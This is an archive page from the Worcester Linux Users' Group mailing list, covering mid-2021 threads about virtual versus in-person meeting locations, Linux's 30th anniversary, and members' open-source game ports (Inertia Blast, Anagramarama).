>>>>> "Dennis" == Dennis Payne via WLUG <wlug(a)lists.wlug.org> writes: Dennis> There is "-w" for windowed mode. It is really small on most displays as Dennis> it is 320x200. Cool, I'll have to try that. First I have to understand the game play though! Dennis> It never really bothered me but I played it again focusing on Dennis> the background drawing. I think it is caused from being Dennis> stretched to a different aspect ratio. The old X11 Dennis> implementation had a double screen size mode. I have that in Dennis> Troll Bridge which is the code I based the Inertia Blast Dennis> drawing code on. I'll try to add that in. Adding a full screen Dennis> with black borders to keep the aspect ratio would be good too. Dennis> I'll have to look into that. Cool. John Dennis> On Wed, 2021-09-08 at 22:48 -0400, John Stoffel via WLUG wrote: >> > > > > >> I pulled this down, and once I had installed all the sdl2 -dev libs >> on >> my Linux Mint 20 system it built just fine, nice and clean. >> >> Unfortunately, the full screen blocky graphics weren't as good, but >> more annoying was the constant flicker the screen as it was >> refreshing >> things. >> >> Maybe it needs to be a smaller window? I didn't bother to install >> it, >> I just ran it from the build dir, which was super nice to be able to >> do. Congrats on the update! >> >> John >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JKRFY… Dennis> _______________________________________________ Dennis> WLUG mailing list -- wlug(a)lists.wlug.org Dennis> To unsubscribe send an email to wlug-leave(a)lists.wlug.org Dennis> Create Account: https://wlug.mailman3.com/accounts/signup/ Dennis> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Dennis> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/2KMOX…

Sept. 10, 2021

Re: Reminder! Meeting this week on Sept 9th!

by Tim Keller

I should point out that going forward, all physical meetings are also going to connected to the Jitsi meeting as well. I don't want anybody to feel that they can't attend the meeting due to mobility issues or scheduling conflicts. Tim. On Wed, Sep 8, 2021 at 10:44 PM John Stoffel <john(a)stoffel.org> wrote: > > Tim> We've got a meeting this week on Sept. 9th! > > Cool! > > Tim> Do people want to do in a meeting in person or virtual? > > Virtual is for the best right now I think. But I'm not sure I'll be > able to make it due to other commitments. We will see. > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Sept. 9, 2021

WLUG Meeting tonight (Virtual) at 7PM, usual Jitsi location.

by Tim Keller

Hey Gang, Enough people have reached out to me privately that they want to attend remotely, that I think it makes sense to do the meeting virtually this month. The meeting will be at the usual virtual place: https://meet.jit.si/WlugMA <https://meet.jit.si/WlugMA>@7PM. Speaking with Frank WPI is off the table as a meeting location. Tonight I think it warrants a conversation about where we'd like to do physical meetings. They are going to happen, I'd like to pick a spot that works for everybody. I'm sure lots of other topics will come up as well. See ya there! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Sept. 9, 2021

Re: Inertia Blast

by Dennis Payne

There is "-w" for windowed mode. It is really small on most displays as it is 320x200. It never really bothered me but I played it again focusing on the background drawing. I think it is caused from being stretched to a different aspect ratio. The old X11 implementation had a double screen size mode. I have that in Troll Bridge which is the code I based the Inertia Blast drawing code on. I'll try to add that in. Adding a full screen with black borders to keep the aspect ratio would be good too. I'll have to look into that. On Wed, 2021-09-08 at 22:48 -0400, John Stoffel via WLUG wrote: > > > > > > I pulled this down, and once I had installed all the sdl2 -dev libs > on > my Linux Mint 20 system it built just fine, nice and clean. > > Unfortunately, the full screen blocky graphics weren't as good, but > more annoying was the constant flicker the screen as it was > refreshing > things. > > Maybe it needs to be a smaller window? I didn't bother to install > it, > I just ran it from the build dir, which was super nice to be able to > do. Congrats on the update! > > John > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JKRFY…

Sept. 9, 2021

Re: Inertia Blast

by John Stoffel

>>>>> "Dennis" == Dennis Payne via WLUG <wlug(a)lists.wlug.org> writes: Dennis> Thrust is an old C64 game. I never played the original but Dennis> enjoyed an svgalib version a long time ago. Svgalib was used Dennis> for games when people didn't have machines that could Dennis> reasonably run X. It requires root to run and can't run under Dennis> X so it isn't something people do now for the most part. The Dennis> version I played now has an X version but it requires pseudo Dennis> color so it is not usable. Dennis> I updated the code to use SDL. I replaced some images that Dennis> seemed to have been copied from the original. I renamed the Dennis> game to Inertia Blast. Of course this included adding Dennis> Gamerzilla support but it is minimal at the moment with only Dennis> two achievements. Dennis> http://identicalsoftware.com/inertiablast/ I pulled this down, and once I had installed all the sdl2 -dev libs on my Linux Mint 20 system it built just fine, nice and clean. Unfortunately, the full screen blocky graphics weren't as good, but more annoying was the constant flicker the screen as it was refreshing things. Maybe it needs to be a smaller window? I didn't bother to install it, I just ran it from the build dir, which was super nice to be able to do. Congrats on the update! John

Sept. 9, 2021

Re: Reminder! Meeting this week on Sept 9th!

by John Stoffel

Tim> We've got a meeting this week on Sept. 9th! Cool! Tim> Do people want to do in a meeting in person or virtual? Virtual is for the best right now I think. But I'm not sure I'll be able to make it due to other commitments. We will see.

Sept. 9, 2021

Re: Reminder! Meeting this week on Sept 9th!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > We've got a meeting this week on Sept. 9th! > > Do people want to do in a meeting in person or virtual? Where do in-person meetings happen? It's my understanding that we (or anyone) can not go to WPI without a damn good reason and a nose swab. No matter. I don't drive and can barely walk. I don't want to be stuck at a meeting all night, but if it is done by video chat then I will check it out at 7pm (right?); hang out for an hour or two; then, with a point and a click, be teleported back to my living room in time for supper. -- Keith PS: I may try one more time to use the Linux laptop. Stay calm.

Sept. 9, 2021

Re: Reminder! Meeting this week on Sept 9th!

by hammerron

I'm likely to be working Thurs night..If so can't do either *frowns* On 9/7/21 4:49 PM, Tim Keller via WLUG wrote: > Hey Gang, > > We've got a meeting this week on Sept. 9th! > > Do people want to do in a meeting in person or virtual? > > Thanks, > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JLWAV…

Sept. 8, 2021

Re: Reminder! Meeting this week on Sept 9th!

by Joel

This month I am up for virtual. Could easily be in minority and that's not a problem. Joel On September 7, 2021 4:50:24 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Gang, > > We've got a meeting this week on Sept. 9th! > > Do people want to do in a meeting in person or virtual? > > Thanks, > Tim. > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JLWAV…

Sept. 8, 2021

Reminder! Meeting this week on Sept 9th!

by Tim Keller

Hey Gang, We've got a meeting this week on Sept. 9th! Do people want to do in a meeting in person or virtual? Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Sept. 7, 2021

Inertia Blast

by Dennis Payne

Thrust is an old C64 game. I never played the original but enjoyed an svgalib version a long time ago. Svgalib was used for games when people didn't have machines that could reasonably run X. It requires root to run and can't run under X so it isn't something people do now for the most part. The version I played now has an X version but it requires pseudo color so it is not usable. I updated the code to use SDL. I replaced some images that seemed to have been copied from the original. I renamed the game to Inertia Blast. Of course this included adding Gamerzilla support but it is minimal at the moment with only two achievements. http://identicalsoftware.com/inertiablast/ -- Dennis Payne dulsi(a)identicalsoftware.com https://mastodon.gamedev.place/@dulsi

Sept. 5, 2021

Re: Happy 30th birthday linux!!

by Jared Greenwald

On Thu, Aug 26, 2021 at 3:46 PM John Stoffel via WLUG <wlug(a)lists.wlug.org> wrote: > > Tim> It was 30 years ago today Linus sent out his fateful email about > Tim> his os he didn't think was going to turn into a "big thing." > > Amazing stuff. And amazing how many OSes I've worked on over the > years that have fallen to the wayside of mainstream use: HPUX, AIX, > SunOS, Solaris, Ultrix, DEC OSF/1, Digital Unix, TOPS-20 (there's an > emulator online!) Irix, ConvexOS, and others I'm sure I've forgotten. > Oh wait, ConvexOS (which morphed into HPUX when they bough Convex), > Cray's Unicos. All systems I've supported and worked on over the > years. > > With Linux in various flavors and distributions being the core of my > work for the past 15 years I would say. Though Solaris has lasted the > longest of the mainstream vendors, even though Oracle has pretty much > killed it off now. We tried to keep sparc alive a little longer at least by releasing Oracle Linux on sparc as recently as 2017. Now that arm is the new hotness that's where the "alt" releases are. > > > Tim> This is an amazing group full of quirky, smart and enthusiast > Tim> linux users! I hope in some way we've helped to make linux a > Tim> success! > > Quirky is right! I'm certainly quirky! *grin* > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GC4JK… >

Aug. 27, 2021

Re: Happy 30th birthday linux!!

by Doug Mildram

Encore (Marlboro MA, pioneer of parallel cpus) was amazing (or amazingly foolish) because....roughly 100 employees cranked out this product/HW with not just ONE os: They had 3 flavors, all running on the same large (VAX-sized) Multimax hardware with heavy SCSI disks each a few hundred MB. OS #1: BSD OS #2: sysV OS #3: UMAX, a mach hybrid if that helps I got hired into a 3 person sysadmin team, 2 weeks later I learned my lead cohort was moving to FL leaving me as the new top puppy. But I was surrounded by UNIX literate developers, thrilled to learn from them! But mostly only colleges bought these systems, so the downsizing started soon after. -doug On Thu, Aug 26, 2021, 3:48 PM John Stoffel via WLUG <wlug(a)lists.wlug.org> wrote: > >>>>> "John" == John Stoffel via WLUG <wlug(a)lists.wlug.org> writes: > > Tim> It was 30 years ago today Linus sent out his fateful email about > Tim> his os he didn't think was going to turn into a "big thing." > > John> Amazing stuff. And amazing how many OSes I've worked on over the > John> years that have fallen to the wayside of mainstream use: HPUX, AIX, > John> SunOS, Solaris, Ultrix, DEC OSF/1, Digital Unix, TOPS-20 (there's an > John> emulator online!) Irix, ConvexOS, and others I'm sure I've forgotten. > John> Oh wait, ConvexOS (which morphed into HPUX when they bough Convex), > John> Cray's Unicos. All systems I've supported and worked on over the > John> years. > > Heh, I forgot Umax, from Encore Computing. 16xNS32000 CPUs, 64Mb of RAM, > $250k wheeled in, $25k when we wheeled it out three years later. > > John> With Linux in various flavors and distributions being the core of my > John> work for the past 15 years I would say. Though Solaris has lasted > the > John> longest of the mainstream vendors, even though Oracle has pretty much > John> killed it off now. > > Tim> This is an amazing group full of quirky, smart and enthusiast > Tim> linux users! I hope in some way we've helped to make linux a > Tim> success! > > John> Quirky is right! I'm certainly quirky! *grin* > John> _______________________________________________ > John> WLUG mailing list -- wlug(a)lists.wlug.org > John> To unsubscribe send an email to wlug-leave(a)lists.wlug.org > John> Create Account: https://wlug.mailman3.com/accounts/signup/ > John> Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > John> Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GC4JK… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7QRWO… >

Aug. 27, 2021

Re: Happy 30th birthday linux!!

by Mike Peckar

> John> SunOS, Solaris, Ultrix, DEC OSF/1, Digital Unix, TOPS-20 (there's an > This brought back memories of my first job at DEC in 1987 and writing routines in PCL on a TOP-20 machine. I do DECLARE. :-) Fun to hear it lives on in emulation.

Aug. 27, 2021

Re: Happy 30th birthday linux!!

by John Stoffel

>>>>> "John" == John Stoffel via WLUG <wlug(a)lists.wlug.org> writes: Tim> It was 30 years ago today Linus sent out his fateful email about Tim> his os he didn't think was going to turn into a "big thing." John> Amazing stuff. And amazing how many OSes I've worked on over the John> years that have fallen to the wayside of mainstream use: HPUX, AIX, John> SunOS, Solaris, Ultrix, DEC OSF/1, Digital Unix, TOPS-20 (there's an John> emulator online!) Irix, ConvexOS, and others I'm sure I've forgotten. John> Oh wait, ConvexOS (which morphed into HPUX when they bough Convex), John> Cray's Unicos. All systems I've supported and worked on over the John> years. Heh, I forgot Umax, from Encore Computing. 16xNS32000 CPUs, 64Mb of RAM, $250k wheeled in, $25k when we wheeled it out three years later. John> With Linux in various flavors and distributions being the core of my John> work for the past 15 years I would say. Though Solaris has lasted the John> longest of the mainstream vendors, even though Oracle has pretty much John> killed it off now. Tim> This is an amazing group full of quirky, smart and enthusiast Tim> linux users! I hope in some way we've helped to make linux a Tim> success! John> Quirky is right! I'm certainly quirky! *grin* John> _______________________________________________ John> WLUG mailing list -- wlug(a)lists.wlug.org John> To unsubscribe send an email to wlug-leave(a)lists.wlug.org John> Create Account: https://wlug.mailman3.com/accounts/signup/ John> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ John> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GC4JK…

Aug. 26, 2021

Re: Happy 30th birthday linux!!

by John Stoffel

Tim> It was 30 years ago today Linus sent out his fateful email about Tim> his os he didn't think was going to turn into a "big thing." Amazing stuff. And amazing how many OSes I've worked on over the years that have fallen to the wayside of mainstream use: HPUX, AIX, SunOS, Solaris, Ultrix, DEC OSF/1, Digital Unix, TOPS-20 (there's an emulator online!) Irix, ConvexOS, and others I'm sure I've forgotten. Oh wait, ConvexOS (which morphed into HPUX when they bough Convex), Cray's Unicos. All systems I've supported and worked on over the years. With Linux in various flavors and distributions being the core of my work for the past 15 years I would say. Though Solaris has lasted the longest of the mainstream vendors, even though Oracle has pretty much killed it off now. Tim> This is an amazing group full of quirky, smart and enthusiast Tim> linux users! I hope in some way we've helped to make linux a Tim> success! Quirky is right! I'm certainly quirky! *grin*

Aug. 26, 2021

Re: Happy 30th birthday linux!!

by Michael Voorhis

https://groups.google.com/g/comp.os.minix/c/-PWutfOCMUI On 8/25/21 7:19 PM, Tim Keller via WLUG wrote: > It was 30 years ago today Linus sent out his fateful email about his > os he didn't think was going to turn into a "big thing."

Aug. 26, 2021

Happy 30th birthday linux!!

by Tim Keller

It was 30 years ago today Linus sent out his fateful email about his os he didn't think was going to turn into a "big thing." This is an amazing group full of quirky, smart and enthusiast linux users! I hope in some way we've helped to make linux a success! Stay safe and I hope to see you at the next meeting! Later, Tim.

Aug. 25, 2021

Re: Reminder: August virtual meeting tonight!

by Tim Keller

You were in the meeting and then you disappeared! Tim. On Thu, Aug 12, 2021 at 5:16 PM Keith Wright via WLUG <wlug(a)lists.wlug.org> wrote: > Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > > > This is a reminder that we've got a virtual meeting tonight! > > > > Date: 8/12/2021 > > Time: 7pm > > Location: Jitsi @ https://meet.jit.si/WlugMA > > > > I hope to see you there! > > I'm going to try to get in using my Linux laptop. > That didn't work so well last time, but I found > some headphpones that seem to work. > > If it doesn't work out, I will switch to a Windows > machine that workied, mostly. > > Thank you for your patience, if any. > > -- Keith > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/BBG23… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Aug. 12, 2021

Re: Reminder: August virtual meeting tonight!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > This is a reminder that we've got a virtual meeting tonight! > > Date: 8/12/2021 > Time: 7pm > Location: Jitsi @ https://meet.jit.si/WlugMA > > I hope to see you there! I'm going to try to get in using my Linux laptop. That didn't work so well last time, but I found some headphpones that seem to work. If it doesn't work out, I will switch to a Windows machine that workied, mostly. Thank you for your patience, if any. -- Keith

Aug. 12, 2021

Reminder: August virtual meeting tonight!

by Tim Keller

Hey Gang, This is a reminder that we've got a virtual meeting tonight! Date: 8/12/2021 Time: 7pm Location: Jitsi @ https://meet.jit.si/WlugMA I hope to see you there! Later Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Aug. 12, 2021

Re: Anagramarama

by Dennis Payne

It is on the website under "Additional Programmer". I suppose I could list the web site design as well. Although it occurs to me I didn't add me to the readme. I've already started working on getting another program up and running. It is a clone of Thrust an old C64 game. It supported svgalib and X11 is 256 psuedo color neither of which I can run. I've got it running in SDL but it has really complex autoconf/automake setup. I haven't been able to figure out how to get it to generate the right result. I did manually edit the Makefile and get it compiling but obviously that isn't a great solution. https://github.com/dulsi/thrust On Wed, 2021-08-11 at 09:57 -0400, Jon "maddog" Hall wrote: > Nice job, Dennis! > > You should add your name to the website, since you (re)created it. > > Credit where credit is due. > > md > > On Wed, Aug 11, 2021 at 8:10 AM Dennis Payne via WLUG > <wlug(a)lists.wlug.org> wrote: > > Anagramarama is a game I found on the libre game wiki. I decided to > > add > > game achievements to Anagramarama. Since the old website is gone, > > I've > > created a new website. I'm currently in the process of adding the > > package to Fedora. > > > > http://identicalsoftware.com/anagramarama/ > > > > You can see the achievements at my test site: > > > > http://108.49.106.217/game/dulsi/anagramarama > >

Aug. 11, 2021

Re: Anagramarama

by Jon "maddog" Hall

Nice job, Dennis! You should add your name to the website, since you (re)created it. Credit where credit is due. md On Wed, Aug 11, 2021 at 8:10 AM Dennis Payne via WLUG <wlug(a)lists.wlug.org> wrote: > Anagramarama is a game I found on the libre game wiki. I decided to add > game achievements to Anagramarama. Since the old website is gone, I've > created a new website. I'm currently in the process of adding the > package to Fedora. > > http://identicalsoftware.com/anagramarama/ > > You can see the achievements at my test site: > > http://108.49.106.217/game/dulsi/anagramarama > > -- > Dennis Payne > dulsi(a)identicalsoftware.com > https://mastodon.gamedev.place/@dulsi > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3Y5H4… >

Aug. 11, 2021

Anagramarama

by Dennis Payne

Anagramarama is a game I found on the libre game wiki. I decided to add game achievements to Anagramarama. Since the old website is gone, I've created a new website. I'm currently in the process of adding the package to Fedora. http://identicalsoftware.com/anagramarama/ You can see the achievements at my test site: http://108.49.106.217/game/dulsi/anagramarama -- Dennis Payne dulsi(a)identicalsoftware.com https://mastodon.gamedev.place/@dulsi

Aug. 11, 2021

Meeting reminder! August 12th 2021, NOTE: Meeting will be Virtual!

by Tim Keller

Hey Gang! We've got a meeting on Thursday August 12th! I'm going to up front say that this is going to be a virtual meeting. As great as having an in person meeting was, I think we should go back to virtual meetings until the whole Delta variant situation shakes out. Feel free to argue, this is wlug after all! Topic: Nothing decided yet. Feel free to step up to the plate if you've got something interesting. Otherwise, expect the usual nerd banter! Time: 7pm Location: The usual Jitsi location: https://meet.jit.si/WlugMA Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Aug. 9, 2021

Re: Hosting in-person meetings at library

by John Stoffel

>>>>> "joshua" == joshua gage stone--- via WLUG <wlug(a)lists.wlug.org> writes: I'm replying late to this, since I was away on business last week. But meetings in libraries are cool with me too. joshua> I can reserve a time slot for tomorrow if there's enough joshua> interest in going to the library for a change in pace and joshua> scenery. I think it'd be good for transitioning back to joshua> in-person meetings! joshua> - Josh joshua> On Wed, 2021-07-14 at 15:39 -0400, Tim Keller wrote: joshua> I think it's a great idea! joshua> Speaking with the Technopia folks, they're interested in having us, but it sounds like it joshua> would happen in the Sept. time frame, I'd like to have a couple in person meetings before joshua> that. joshua> Is this something people would be interested in doing tomorrow? joshua> Thanks, joshua> Tim. joshua> On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG <wlug(a)lists.wlug.org> wrote: joshua> Hey all, joshua> I've learned that the library in my town is open to the public for joshua> hosting club meetings! More info: joshua> https://hudsonpubliclibrary.com/ joshua> Some of the benefits I can think of for having meetings at the library joshua> include: joshua> - Free hosting joshua> - Free public wifi joshua> - Free on-site parking joshua> - Low noise levels joshua> - Projector and whiteboard are available joshua> - Books, music, movies, etc, are available for checking out joshua> (https://bark.cwmars.org/eg/opac/home) joshua> - Adjacent to many restaurants, most having outdoor seating joshua> - Has EV charging stations nearby joshua> - Access to well-maintained walking trails and public parks joshua> Cons: joshua> - Conference room capacity is capped at 10 occupants joshua> - Meetings must end 15 minutes before library's closing time, so would joshua> have to end at 8:15PM joshua> - Many restaurants might be closed by 9PM joshua> I could imagine going back to our usual monthly meetings, from 7:00PM joshua> to 8:15PM on Thursdays, then walking over to one of the restaurants joshua> next door for food and drinks. I can personally vouch for these local joshua> establishments, all reachable within a 5 minute walk: joshua> https://railtrailflatbread.com/ joshua> https://www.wellysrestaurant.com/ joshua> https://newcitymicrocreamery.com/ joshua> https://www.lessthangreaterthan.com/ joshua> https://www.kithandkinhudson.com/ joshua> https://www.horseshoepub.com/ joshua> https://freshwingma.com/ joshua> https://www.medusabrewing.com/beer-garden joshua> What do you think? joshua> - Josh joshua> _______________________________________________ joshua> WLUG mailing list -- wlug(a)lists.wlug.org joshua> To unsubscribe send an email to wlug-leave(a)lists.wlug.org joshua> Create Account: https://wlug.mailman3.com/accounts/signup/ joshua> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ joshua> Web Forum/Archive: joshua> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… joshua> _______________________________________________ joshua> WLUG mailing list -- wlug(a)lists.wlug.org joshua> To unsubscribe send an email to wlug-leave(a)lists.wlug.org joshua> Create Account: https://wlug.mailman3.com/accounts/signup/ joshua> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ joshua> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/L5C52…

July 20, 2021

VPN Question

by hammerron

Tim/Chuck: Thank for the info. I will pass it on

July 18, 2021

Re: In-person meeting for August

by Tim Keller

I think the BBQ would be a great idea! I'd also like to thank Josh for stepping up and getting the room at the Hudson public library! Later, Tim. On Fri, Jul 16, 2021 at 11:29 PM Chuck Anderson via WLUG < wlug(a)lists.wlug.org> wrote: > Are we comfortable enough to have a BBQ in August? > > On Fri, Jul 16, 2021 at 08:40:29PM -0400, Joshua Stone via WLUG wrote: > > Hey everyone, > > > > Thank you for another awesome meetup! It was nice to make that first step > > of transitioning back to normal. I hope I was able to make a good > > impression of Hudson! > > > > I'm interested to see what everyone would like to do for the next > meeting, > > as well as discuss where to hold our next meeting! > > > > - Josh > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/YJTV4… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

July 17, 2021

Re: In-person meeting for August

by Chuck Anderson

Are we comfortable enough to have a BBQ in August? On Fri, Jul 16, 2021 at 08:40:29PM -0400, Joshua Stone via WLUG wrote: > Hey everyone, > > Thank you for another awesome meetup! It was nice to make that first step > of transitioning back to normal. I hope I was able to make a good > impression of Hudson! > > I'm interested to see what everyone would like to do for the next meeting, > as well as discuss where to hold our next meeting! > > - Josh

July 17, 2021

In-person meeting for August

by Joshua Stone

Hey everyone, Thank you for another awesome meetup! It was nice to make that first step of transitioning back to normal. I hope I was able to make a good impression of Hudson! I'm interested to see what everyone would like to do for the next meeting, as well as discuss where to hold our next meeting! - Josh

July 17, 2021

Join up via jitsi tonight!

by Tim Keller

Hey gang, Reminder we've got a meeting tonight, join via Jitsi! https://meet.jit.si/WlugMA Thanks, Tim.

July 15, 2021

Re: Hosting in-person meetings at library

by Joel

I won't make July or August meetings due to being out of the Worcester area. I like the Hudson Library idea. Also like the idea of possibly it moving around to different locations idea. I can see WLUG meeting at different libraries, coffee houses or brew pubs around central MA. A bit like the 70's Kung Fu TV series. Roaming the area with only our highly tuned Linux skills and spiritual training as a Shaolin Monk... Lol Joel On July 15, 2021 11:35:14 AM Frank Sweetser via WLUG <wlug(a)lists.wlug.org> wrote: > I can't make it this month, but it sounds like a great plan going forward. > > On Thu, Jul 15, 2021, 11:11 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Ron, > > We have lots of options for meeting locations. We could even shuffle things around a bit. > > As an aside, please email the list if you intend to attend so we can get a number. > > Thanks, > Tim. > > > On Thu, Jul 15, 2021 at 9:38 AM THE HAMMER via WLUG <wlug(a)lists.wlug.org> wrote: > The Hudson Location involves more driving for me. My guess is if we have more meetings there, I would likely attend just a few from time to time. I do not plan to be there tonight. That being said and not having been there, free parking and food nearby sound like definite pluses. I'm anxious to hear how the meeting goes. > > Ron > > > From: Tim Keller via WLUG <wlug(a)lists.wlug.org> > Sent: Wednesday, July 14, 2021 3:39 PM > To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> > Cc: Joshua Stone <joshua.gage.stone(a)gmail.com>; Tim Keller <turbofx(a)gmail.com> > Subject: [WLUG] Re: Hosting in-person meetings at library > I think it's a great idea! > > Speaking with the Technopia folks, they're interested in having us, but it sounds like it would happen in the Sept. time frame, I'd like to have a couple in person meetings before that. > > Is this something people would be interested in doing tomorrow? > > Thanks, > Tim. > > > > > On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG <wlug(a)lists.wlug.org> wrote: > Hey all, > > I've learned that the library in my town is open to the public for > hosting club meetings! More info: > > https://hudsonpubliclibrary.com/ > > Some of the benefits I can think of for having meetings at the library > include: > > - Free hosting > - Free public wifi > - Free on-site parking > - Low noise levels > - Projector and whiteboard are available > - Books, music, movies, etc, are available for checking out > (https://bark.cwmars.org/eg/opac/home) > - Adjacent to many restaurants, most having outdoor seating > - Has EV charging stations nearby > - Access to well-maintained walking trails and public parks > > Cons: > > - Conference room capacity is capped at 10 occupants > - Meetings must end 15 minutes before library's closing time, so would > have to end at 8:15PM > - Many restaurants might be closed by 9PM > > > I could imagine going back to our usual monthly meetings, from 7:00PM > to 8:15PM on Thursdays, then walking over to one of the restaurants > next door for food and drinks. I can personally vouch for these local > establishments, all reachable within a 5 minute walk: > > https://railtrailflatbread.com/ > https://www.wellysrestaurant.com/ > https://newcitymicrocreamery.com/ > https://www.lessthangreaterthan.com/ > https://www.kithandkinhudson.com/ > https://www.horseshoepub.com/ > https://freshwingma.com/ > https://www.medusabrewing.com/beer-garden > > What do you think? > > - Josh > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to > wlug-leave(a)lists.wlug.org > Create Account: > https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… > > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7RREK… > > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/6M3SZ… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/76DQ3…

July 15, 2021

Re: Hosting in-person meetings at library

by Frank Sweetser

